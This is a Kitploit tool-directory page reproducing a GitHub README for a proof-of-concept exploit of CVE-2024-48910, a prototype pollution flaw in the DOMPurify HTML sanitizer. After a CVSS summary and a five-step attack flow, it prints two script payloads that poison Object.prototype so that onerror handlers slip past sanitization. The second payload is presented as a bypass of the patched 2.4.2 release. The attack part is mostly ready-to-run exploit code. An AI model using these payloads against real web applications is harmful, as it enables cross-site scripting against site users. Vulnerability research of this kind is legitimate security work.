Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-48910-PoC — Proof-of-concept exploit for CVE-2024-48910, demonstrating prototype pollution bypass of DOMPurify XSS sanitizer to execute arbitrary JavaScript via crafted HTML attributes. | Kitploit
Tools/GitHubGitHub/mitchellzhou1/cve-2024-48910-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb Security
GitHubmitchellzhou1/cve-2024-48910-poc

CVE-2024-48910-PoC

Proof-of-concept exploit for CVE-2024-48910, demonstrating prototype pollution bypass of DOMPurify XSS sanitizer to execute arbitrary JavaScript via crafted HTML attributes.

View Repository
28 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-48910-PoC

image

Overview

CVE-2024-48910 DOMPurify, a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG, was found to be vulnerable to prototype pollution (CVE-2024-48910). The vulnerability was discovered and fixed in version 2.4.2, with the initial disclosure made on October 31, 2024 .


Impact

The prototype pollution vulnerability in DOMPurify could allow attackers to tamper with object prototype attributes, potentially leading to security bypasses and unauthorized modifications of application behavior. The high CVSS score indicates significant potential impact on system security, particularly affecting data confidentiality and integrity

Technical Details

The vulnerability has been assigned a CVSS v3.1 base score of 9.1 (CRITICAL) with the vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. This indicates that the vulnerability can be exploited remotely with low attack complexity, requires no privileges or user interaction, and can result in high impact to both confidentiality and integrity, though without affecting availability

From Change logs, you can see a test case was added involving .__proto__., suggesting it is a prototype injection image

The next line which was added was, meaning that before is was evaluating to true for anything that was truthy image

Attack Flow & PoC

  1. Pollute hasOwnProperty to return Object
  2. Pollute ALLOWED_ATTR with ["src", "onerror"]
  3. DOMPurify clones its config using vulnerable clone() function
  4. hasOwnProperty check passes for polluted properties (because Object is truthy)
  5. Polluted config gets copied into DOMPurify's internal configuration

XSS protection bypassed - onerror is now "allowed"

root@kitploit:~
<script>Object.prototype.hasOwnProperty=Object</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>

Side Notes:

Despite upgrading to 2.4.2, I can still get the alert() to showup... all you have to do is set Object.prototype.hasOwnProperty = () => true; to bypass the protection LOL!!

root@kitploit:~
<script>Object.prototype.hasOwnProperty = () => true;</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>
Download Tool